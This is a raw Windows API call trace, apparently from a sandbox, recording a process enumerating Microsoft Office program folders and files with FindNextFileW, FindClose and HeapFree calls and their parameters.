	[0148.602] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0148.602] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0148.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.602] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1
	[0148.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.604] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0148.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.687] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0148.687] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0148.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0148.687] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1
	[0149.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.308] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1
	[0149.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.308] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0149.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.524] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0
	[0149.524] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0149.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.526] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1
	[0149.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.603] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0
	[0149.604] FindClose (in: hFindFile=0x5ddac0 | out: hFindFile=0x5ddac0) returned 1
	[0149.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0149.604] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1
	[0149.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.919] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1
	[0149.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0149.919] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0150.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0150.531] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0
	[0150.531] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0150.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0150.531] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1
	[0150.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0150.531] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0150.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.533] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0150.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.533] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1
	[0150.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.533] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0150.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.535] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1
	[0150.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.535] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1
	[0150.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.536] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0150.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.538] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0150.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.540] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0150.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.541] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0150.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.543] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0150.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.546] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1
	[0150.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0150.548] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1
	[0150.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0150.550] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0150.550] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0150.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0150.550] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0150.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.551] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0150.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.551] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0150.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0150.553] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0
	[0150.935] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0150.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0150.936] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1
	[0150.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.937] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0150.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.937] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0150.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.938] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0150.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
